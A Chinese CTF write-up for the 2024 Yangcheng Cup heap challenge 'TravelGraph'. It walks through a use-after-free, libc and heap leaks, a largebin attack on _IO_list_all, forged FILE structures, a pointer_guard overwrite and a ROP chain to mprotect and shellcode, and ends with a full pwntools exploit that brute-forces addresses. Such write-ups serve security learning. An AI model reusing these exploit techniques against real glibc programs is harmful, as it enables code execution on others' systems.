# house-of-apple

前言:

正好打 24 年羊城杯做了看了一道 house-of-apple 的题目,拿来水水 blog。

漏洞成因

堆溢出写,uaf

适用范围

  • 2.23 —— 至今
  • 程序从 main 函数返回或能调用 exit 函数
  • 能泄露出 heap 地址和 libc 地址
  • 能使用一次 largebin attack (一次即可)

接下来直接去将这道题的做题手法

# TravelGraph

利用手法

  • 通过构造合理堆块,free 后残留指针泄露 libc 和 heap
  • 利用堆风水,构造 1largebin attack ,替换 _IO_list_all 为堆地址
  • 利用 house of apple ,修改掉 pointer_guard 的值
  • 利用 house of emma 并结合几个 gadgets 控制 rsp
  • rop 链输出 flag

image-20240830110226247

可见符号表并没有去掉

image-20240830110405090

保护也是理所当然的全开了

接下来分析函数

get_city_name

__int64 get_city_name()
{
  int i; // [rsp+Ch] [rbp-24h]
  char s2[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  puts("Please input the city name");
  read_str((__int64)s2, 16);
  for ( i = 0; ; ++i )
  {
    if ( i > 4 )
      exit(3);
    if ( !strcmp(&cities[16 * i], s2) )
      break;
  }
  return (unsigned int)i;
}

add

unsigned __int64 add()
{
  int v1; // [rsp+8h] [rbp-28h]
  int i; // [rsp+Ch] [rbp-24h]
  _DWORD *v3; // [rsp+10h] [rbp-20h]
  char s2[10]; // [rsp+1Eh] [rbp-12h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  for ( i = 0; routes[i]; ++i )
    ;
  puts("What kind of transportation do you want? car/train/plane?");
  read_str((__int64)s2, 16);
  if ( !strcmp("car", s2) )
  {
    v1 = 1;
  }
  else if ( !strcmp("train", s2) )
  {
    v1 = 2;
  }
  else
  {
    if ( strcmp("plane", s2) )
      exit(2);
    v1 = 3;
  }
  v3 = malloc(16 * (v1 + 80));
  v3[3] = v1;
  puts("From where?");
  *v3 = get_city_name();
  puts("To where?");
  v3[1] = get_city_name();
  puts("How far?");
  v3[2] = read_num();
  if ( (int)v3[2] > 1000 || (int)v3[2] <= 0 )
  {
    puts("That's too far!");
    exit(1);
  }
  puts("Note:");
  read(0, v3 + 4, (unsigned int)(16 * (v1 + 79)));
  routes[i] = v3;
  return v5 - __readfsqword(0x28u);
}

这里通过出行方式去设置 malloc 的 size 大小,输入距离不能超过 1000,同样是通过 size 大小读入数据,无堆溢出。

delete

int delete()
{
  __int64 v0; // rax
  int i; // [rsp+4h] [rbp-Ch]
  int city_name; // [rsp+8h] [rbp-8h]
  int v4; // [rsp+Ch] [rbp-4h]
  puts("From where?");
  city_name = get_city_name();
  puts("To where?");
  LODWORD(v0) = get_city_name();
  v4 = v0;
  for ( i = 0; i != 20; ++i )
  {
    v0 = routes[i];
    if ( v0 )
    {
      if ( city_name == *(_DWORD *)routes[i] && v4 == *(_DWORD *)(routes[i] + 4LL)
        || (LODWORD(v0) = *(_DWORD *)routes[i], v4 == (_DWORD)v0)
        && (LODWORD(v0) = *(_DWORD *)(routes[i] + 4LL), city_name == (_DWORD)v0) )
      {
        *(_DWORD *)routes[i] = 0;
        *(_DWORD *)(routes[i] + 4LL) = 0;
        free((void *)routes[i]);
        LODWORD(v0) = puts("Successfully delete!");
      }
    }
  }
  return v0;
}

存在 uaf 漏洞

show

int show()
{
  __int64 v0; // rax
  int i; // [rsp+4h] [rbp-Ch]
  int city_name; // [rsp+8h] [rbp-8h]
  int v4; // [rsp+Ch] [rbp-4h]
  puts("From where?");
  city_name = get_city_name();
  puts("To where?");
  LODWORD(v0) = get_city_name();
  v4 = v0;
  for ( i = 0; i != 20; ++i )
  {
    v0 = routes[i];
    if ( v0 )
    {
      if ( city_name == *(_DWORD *)routes[i] && v4 == *(_DWORD *)(routes[i] + 4LL)
        || (LODWORD(v0) = *(_DWORD *)routes[i], v4 == (_DWORD)v0)
        && (LODWORD(v0) = *(_DWORD *)(routes[i] + 4LL), city_name == (_DWORD)v0) )
      {
        printf("Distance:%d\n", *(unsigned int *)(routes[i] + 8LL));
        LODWORD(v0) = printf("Note:%s\n", (const char *)(routes[i] + 16LL));
      }
    }
  }
  return v0;
}

使用 printf 的 show 函数

edit

unsigned __int64 edit()
{
  int v1; // [rsp+0h] [rbp-80h]
  int i; // [rsp+4h] [rbp-7Ch]
  int j; // [rsp+8h] [rbp-78h]
  int city_name; // [rsp+Ch] [rbp-74h]
  int v5; // [rsp+10h] [rbp-70h]
  int num; // [rsp+14h] [rbp-6Ch]
  _DWORD *v7; // [rsp+18h] [rbp-68h]
  int v8[22]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v9; // [rsp+78h] [rbp-8h]
  v9 = __readfsqword(0x28u);
  v1 = 0;
  if ( !edit_flag1 )
  {
    puts("You've already edited it!");
    exit(1);
  }
  if ( !edit_flag2 )
  {
    puts("You don't need to edit anymore.");
    exit(1);
  }
  puts("From where?");
  city_name = get_city_name();
  puts("To where?");
  v5 = get_city_name();
  for ( i = 0; i != 20; ++i )
  {
    if ( routes[i]
      && (city_name == *(_DWORD *)routes[i] && v5 == *(_DWORD *)(routes[i] + 4LL)
       || v5 == *(_DWORD *)routes[i] && city_name == *(_DWORD *)(routes[i] + 4LL)) )
    {
      v8[v1++] = i;
    }
  }
  if ( v1 )
  {
    puts("----------------");
    for ( j = 0; j < v1; ++j )
      printf("[+] Route%d: %d\n", (unsigned int)j, (unsigned int)v8[j]);
    puts("----------------");
    puts("Which one do you want to change?");
    num = read_num();
    if ( num < 0 || num > v1 )
      exit(1);
    puts("How far?");
    v7 = (_DWORD *)routes[v8[num]];
    v7[2] = read_num();
    puts("Note:");
    read(0, v7 + 4, (unsigned int)(16 * (v7[3] + 79)));
  }
  edit_flag1 = 0;
  return v9 - __readfsqword(0x28u);
}

edit 的进入有条件,需要 edit_flag2 置 1

Dijkstra

unsigned __int64 Dijkstra()
{
  int i; // [rsp+0h] [rbp-D0h]
  int j; // [rsp+4h] [rbp-CCh]
  int k; // [rsp+8h] [rbp-C8h]
  int m; // [rsp+Ch] [rbp-C4h]
  int city_name; // [rsp+10h] [rbp-C0h]
  int v6; // [rsp+14h] [rbp-BCh]
  int v7; // [rsp+18h] [rbp-B8h]
  int v8; // [rsp+1Ch] [rbp-B4h]
  int v9[8]; // [rsp+20h] [rbp-B0h] BYREF
  int v10[8]; // [rsp+40h] [rbp-90h] BYREF
  int v11[26]; // [rsp+60h] [rbp-70h]
  unsigned __int64 v12; // [rsp+C8h] [rbp-8h]
  v12 = __readfsqword(0x28u);
  v11[0] = 0;
  v11[1] = 9999;
  v11[2] = 9999;
  v11[3] = 9999;
  v11[4] = 9999;
  v11[5] = 9999;
  v11[6] = 0;
  v11[7] = 9999;
  v11[8] = 9999;
  v11[9] = 9999;
  v11[10] = 9999;
  v11[11] = 9999;
  v11[12] = 0;
  v11[13] = 9999;
  v11[14] = 9999;
  v11[15] = 9999;
  v11[16] = 9999;
  v11[17] = 9999;
  v11[18] = 0;
  v11[19] = 9999;
  v11[20] = 9999;
  v11[21] = 9999;
  v11[22] = 9999;
  v11[23] = 9999;
  v11[24] = 0;
  for ( i = 0; i != 20; ++i )
  {
    if ( routes[i] )
    {
      v7 = *(_DWORD *)routes[i];
      v8 = *(_DWORD *)(routes[i] + 4LL);
      if ( *(_DWORD *)(routes[i] + 8LL) < v11[5 * v7 + v8] )
      {
        v11[5 * v7 + v8] = *(_DWORD *)(routes[i] + 8LL);
        v11[5 * v8 + v7] = *(_DWORD *)(routes[i] + 8LL);
      }
    }
  }
  for ( j = 0; j <= 4; ++j )
  {
    v9[j] = 9999;
    v10[j] = 0;
  }
  v9[0] = 0;
  for ( k = 0; k <= 4; ++k )
  {
    v6 = minDistance(v9, v10);
    v10[v6] = 1;
    for ( m = 0; m <= 4; ++m )
    {
      if ( !v10[m] && v11[5 * v6 + m] && v9[v6] != 9999 && v9[v6] + v11[5 * v6 + m] < v9[m] )
        v9[m] = v9[v6] + v11[5 * v6 + m];
    }
  }
  puts("Where do you want to travel?");
  city_name = get_city_name();
  printf("It is %dkm away from Guangzhou.\n", (unsigned int)v9[city_name]);
  if ( v9[city_name] > 2000 && v9[city_name] != 9999 )
  {
    puts("That's so far! Please review and rewrite it!");
    ++edit_flag2;
  }
  return v12 - __readfsqword(0x28u);
}

需要到 Guangzhou 的一条路径大于 2000 才能是的 edit_flag2 置 1

add('car','guangzhou','nanning',str(0x3E8),'a') # chunk0
add('car','nanning','changsha',str(0x3E8),'b')  # chunk1
add('car','changsha','nanchang',str(0x3E8),'c') # chunk2
add('car','nanchang','fuzhou',str(0x3E8),'d')   # chunk3
Dijkstra('fuzhou')

image-20240830113533522

可以看到大于 2000,从而进入 edit_flag2++ 的分支

通过此方式先将 edit_flag2 置 1,接下来去 free 在 add 泄露残留的指针


dele('guangzhou','nanning') # chunk0
dele('changsha','nanchang') # chunk2
add('train','guangzhou','changsha',str(0x3E8),'e')
image-20240830113737005

image-20240830113759781

将 chunk0 和 chunk2 置入 large bin,从而残留 fd 和 bk 指针,泄露 libc 和 heap


dele('guangzhou','changsha')
dele('nanchang','fuzhou')
dele('nanning','changsha')
add('plane','guangzhou','nanning',str(0x3E8),'1234')
add('plane','nanning','changsha',str(0x3E8),'N'*0x4ef+'^')
show('nanning','changsha')
ru('^')
libcbase = u64(rc(6).ljust(8,b'\0')) - 0x21b110
dele('nanning','changsha')
add('plane','nanning','changsha',str(0x3E8),'N'*0x4f7+'^')
show('nanning','changsha')
ru('^')
heapbase = u64(rc(6).ljust(8,b'\0')) - 0x001470

image-20240830114122375

heap 同样,因为用 printf 泄露会被’\x00’截断,释放之后再次写数据覆盖 libc 即可泄露

清空 chunk,申请几个去泄露 libc 和 heap 地址


dele('nanning','changsha')
dele('guangzhou','nanning')

再次清空,准备进行 large bin attack 将 fake_io_addr 写入 io_list_all

target=libcbase + libc.sym['_IO_list_all']
fake_io_1_addr=heapbase+0x1470
fake_io_2_addr=fake_io_1_addr+0x100
_IO_wstrn_jumps = libcbase + 0x216dc0
_IO_cookie_jumps = libcbase + 0x216b80
_lock = libcbase +  0x21ca60#libc.sym._IO_stdfile_2_lock
point_guard_addr = libcbase + 0x381770#关闭 alse 情况下 0x381770
expected = fake_io_2_addr-0x10
magic_gadget = libcbase + 0x0000000000167420
mov_rsp_rdx_ret = libcbase + 0x5a120
add_rsp_0x20_pop_rbx_ret = libcbase + 0xd2ba5
pop_rdi_ret = libcbase + 0x2a3e5
pop_rsi_ret = libcbase + 0x2be51
pop_rdx_rbx_ret = libcbase + 0x904a9
fake_io_1 = IO_FILE_plus_struct()
fake_io_1.chain = fake_io_2_addr
fake_io_1._flags2 = 8
fake_io_1._mode = 0
fake_io_1._lock = _lock
fake_io_1._wide_data = point_guard_addr
fake_io_1.vtable = _IO_wstrn_jumps
 
fake_io_2 = IO_FILE_plus_struct()
fake_io_2._IO_write_base = 0
fake_io_2._IO_write_ptr = 1
fake_io_2._lock = _lock
fake_io_2._mode = 0
fake_io_2._flags2 = 8
fake_io_2.vtable = _IO_cookie_jumps + 0x58
 
 
data = flat({
    0: bytes(fake_io_1)[0x20:],
    0xe0:{
        0: bytes(fake_io_2),
        0xe0: [fake_io_2_addr + 0x100, rol(magic_gadget ^ expected, 0x11)],
        0x100: [
            add_rsp_0x20_pop_rbx_ret,
            fake_io_2_addr + 0x100,
            0,
            0,
            mov_rsp_rdx_ret,
            0,
            pop_rdi_ret,
            fake_io_2_addr & ~0xfff,
            pop_rsi_ret,
            0x4000,
            pop_rdx_rbx_ret,
            7, 0,
            libcbase + libc.sym['mprotect'],
            fake_io_2_addr + 0x200
        ],
        0x200: ShellcodeMall.amd64.cat_flag
    }
})

add('car','guangzhou','nanning',str(0x3E8),data)# chunk0
add('car','nanning','changsha',str(0x3E8),p64(0)+p64(0x521)+p32(4)+p64(2))# chunk1
# 通过 heaplist 残留指针使其再次可用,为 large bin attack 覆写 bk_nextsize 作准备
add('train','changsha','nanchang',str(0x3E8),'c')# chunk2
add('car','nanchang','fuzhou',str(0x3E8),'d')# chunk3
dele('changsha','nanchang')# chunk2
add('plane','fuzhou','guangzhou',str(0x3E8),'c')

add chunk1 之前。

image-20240830114550286

add chunk2 之前

image-20240830114747677

image-20240830114835438

我们将 0x55555555d9b0 此位置合理化了。能编辑路线 changsha ——> fuzhou

将 chunk2 放置 largebin 内,从而通过这个处于 chunk1 内部的编辑块去覆写 chunk2 即可。


pl = b'h'*(0x4e0) + p64(0) + p64(0x531)
pl += p64(libcbase+0x21b110) + p64(libcbase+0x21b110)
pl += p64(heapbase+0x001eb0)
pl += p64(target-0x20)
edit('changsha','fuzhou',0,1000,pl)

image-20240830115333487

image-20240830115352782

将 free 掉的 chunk3 的 bknextsize 覆写 io_list_all-0x20,从而将 chunk0 (fake_io) 写入 io_list_all 地址处


dele('guangzhou','nanning')# chunk0 置入 unsortbin 内
add('plane','fuzhou','nanning',str(0x3E8),'0')# large bin attack
menu(0)# 调用 exit 触发 io_clearup 调用链从而输出 flag

image-20240830115430774

pwndbg> p *(struct _IO_FILE_plus*) 0x55555555d470
$1 = {
  file = {
    _flags = 6,
    _IO_read_ptr = 0x521 <error: Cannot access memory at address 0x521>,
    _IO_read_end = 0x7ffff7e1b110 <main_arena+1168> "",
    _IO_read_base = 0x55555555deb0 "",
    _IO_write_base = 0x55555555deb0 "",
    _IO_write_ptr = 0x7ffff7e1b660 <_nl_global_locale+224> "¡\335\367\377\177",
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x55555555d570,
    _fileno = 0,
    _flags2 = 8,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7f81770,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7e16dc0 <_IO_wstrn_jumps>
}
pwndbg> p *(struct _IO_FILE_plus*) 0x55555555d570
$3 = {
  file = {
    _flags = 0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 8,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7e16bd8 <_IO_cookie_jumps+88>
}

可见程序被我们将 io_chain 劫持到我们的 fake_io 上,从而通过调用链去输出 flag

# 完整 exp

在题目开启 alsr 情况写,自我认为需要去爆破 point_guard_addr 因此再次基础修改了一下流程,只需要爆破 2 位数即可,即 1/256 可以读取 flag

'''
huan_attack_pwn
'''
from pwncli import *
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = '/lib/x86_64-linux-gnu/libc.so.6'
# host, port = ":".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
'''
Welcome to YCB!
Do you like traveling? Let's start our trip from Guangzhou!
Since this is only the simplified version, only five cities in total can be considered at present. I'm sorry!
**guangzhou/nanning/changsha/nanchang/fuzhou**
1. Add route.
2. Delete route.
3. Show route.
4. Edit route.
5. Calculate the distance.
'''
def menu(idx):
	ru('5. Calculate the distance.\n')
	sl(str(idx))
def add(tp,fw,tw,jl,note):
	menu(1)
	sla('car/train/plane?\n',str(tp))
	sla('input the city name\n',str(fw))
	sla('input the city name\n',str(tw))
	sla('How far?\n',str(jl))
	sa('Note:\n',note)
def dele(fw,tw):
	menu(2)
	sla('input the city name\n',str(fw))
	sla('input the city name\n',str(tw))
def show(fw,tw):
	menu(3)
	sla('input the city name\n',str(fw))
	sla('input the city name\n',str(tw))
def edit(fw,tw,cg,jl,note):
	menu(4)
	sla('input the city name\n',str(fw))
	sla('input the city name\n',str(tw))
	sla('Which one do you want to change?\n',str(cg))
	sla('How far?\n',str(jl))
	sa('Note:\n',note)
def Dijkstra(city):
	menu(5)
	sla('input the city name\n',str(city))
while 1:
	for x in range(0x10):
		for y in range(0x10):
			r = process(binary)
			add('car','guangzhou','nanning',str(0x3E8),'a')
			add('car','nanning','changsha',str(0x3E8),'b')
			add('car','changsha','nanchang',str(0x3E8),'c')
			add('car','nanchang','fuzhou',str(0x3E8),'d')
			sleep(0.1)
			Dijkstra('fuzhou')
			sleep(0.1)
			dele('guangzhou','nanning')
			dele('changsha','nanchang')
			add('train','guangzhou','changsha',str(0x3E8),'e')
			sleep(0.1)
			dele('guangzhou','changsha')
			dele('nanchang','fuzhou')
			dele('nanning','changsha')
			add('plane','guangzhou','nanning',str(0x3E8),'1234')
			add('plane','nanning','changsha',str(0x3E8),'N'*0x4ef+'^')
			show('nanning','changsha')
			ru('^')
			libcbase = u64(rc(6).ljust(8,b'\0')) - 0x21b110
			dele('nanning','changsha')
			add('plane','nanning','changsha',str(0x3E8),'N'*0x4f7+'^')
			sleep(0.1)
			show('nanning','changsha')
			ru('^')
			heapbase = u64(rc(6).ljust(8,b'\0')) - 0x001470
			lg('libcbase')
			lg('heapbase')
			dele('nanning','changsha')
			dele('guangzhou','nanning')
			try:
				target=libcbase + libc.sym['_IO_list_all']
				fake_io_1_addr=heapbase+0x1470
				fake_io_2_addr=fake_io_1_addr+0x100
				offset = 0x3 << 20
				offset += (x << 16)
				offset += (y << 12)
				_IO_wstrn_jumps = libcbase + 0x216dc0
				_IO_cookie_jumps = libcbase + 0x216b80
				_lock = libcbase +  0x21ca60#libc.sym._IO_stdfile_2_lock
				point_guard_addr = libcbase + offset + 0x770
				log.success("point_guard_addr:\t" + hex(point_guard_addr))
				expected = fake_io_2_addr-0x10
				magic_gadget = libcbase + 0x0000000000167420
				mov_rsp_rdx_ret = libcbase + 0x5a120
				add_rsp_0x20_pop_rbx_ret = libcbase + 0xd2ba5
				pop_rdi_ret = libcbase + 0x2a3e5
				pop_rsi_ret = libcbase + 0x2be51
				pop_rdx_rbx_ret = libcbase + 0x904a9
				fake_io_1 = IO_FILE_plus_struct()
				fake_io_1.chain = fake_io_2_addr
				fake_io_1._flags2 = 8
				fake_io_1._mode = 0
				fake_io_1._lock = _lock
				fake_io_1._wide_data = point_guard_addr
				fake_io_1.vtable = _IO_wstrn_jumps
						 
				fake_io_2 = IO_FILE_plus_struct()
				fake_io_2._IO_write_base = 0
				fake_io_2._IO_write_ptr = 1
				fake_io_2._lock = _lock
				fake_io_2._mode = 0
				fake_io_2._flags2 = 8
				fake_io_2.vtable = _IO_cookie_jumps + 0x58
					 
					 
				data = flat({
				    0: bytes(fake_io_1)[0x20:],
				    0xe0:{
				        0: bytes(fake_io_2),
				        0xe0: [fake_io_2_addr + 0x100, rol(magic_gadget ^ expected, 0x11)],
				        0x100: [
				            add_rsp_0x20_pop_rbx_ret,
				            fake_io_2_addr + 0x100,
				            0,
				            0,
				            mov_rsp_rdx_ret,
				            0,
				            pop_rdi_ret,
				            fake_io_2_addr & ~0xfff,
				            pop_rsi_ret,
				            0x4000,
				            pop_rdx_rbx_ret,
				            7, 0,
				            libcbase + libc.sym['mprotect'],
				            fake_io_2_addr + 0x200
				        ],
				        0x200: ShellcodeMall.amd64.cat_flag
				    }
				})
				add('car','guangzhou','nanning',str(0x3E8),data)
				add('car','nanning','changsha',str(0x3E8),p64(0)+p64(0x521)+p32(4)+p64(2))
				sleep(0.1)
				add('train','changsha','nanchang',str(0x3E8),'c')
				add('car','nanchang','fuzhou',str(0x3E8),'d')
				sleep(0.1)
				dele('changsha','nanchang')
				add('plane','fuzhou','guangzhou',str(0x3E8),'c')
				sleep(0.1)
				pl = b'h'*(0x4e0) + p64(0) + p64(0x531)
				pl += p64(libcbase+0x21b110) + p64(libcbase+0x21b110)
				pl += p64(heapbase+0x001eb0)
				pl += p64(target-0x20)
				edit('changsha','fuzhou',0,1000,pl)
				sleep(0.1)
				dele('guangzhou','nanning')
				add('plane','fuzhou','nanning',str(0x3E8),'0')
				sleep(0.1)
				lg('point_guard_addr')
				menu(0)
				response = r.recv(1024,timeout=2)
				flag = r.recv(1024,timeout=2)
				# log.info(flag.decode())
				if 'flag' in flag.decode():
					print(flag.decode())
					pause()
				break
			except EOFError:
				log.warning("Connection lost, restarting the process.")
				r.close()
				continue
			except Exception as e:
				log.warning(f"An error occurred: {e}")
				r.close()
				continue

参考

https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#226-house-of-apple2

https://bbs.kanxue.com/thread-273418.htm

https://xz.aliyun.com/t/12934?time__1311=GqGxuD9Qi%3Dexlxx2DUxYqGKitqe1Q77OZYoD#toc-8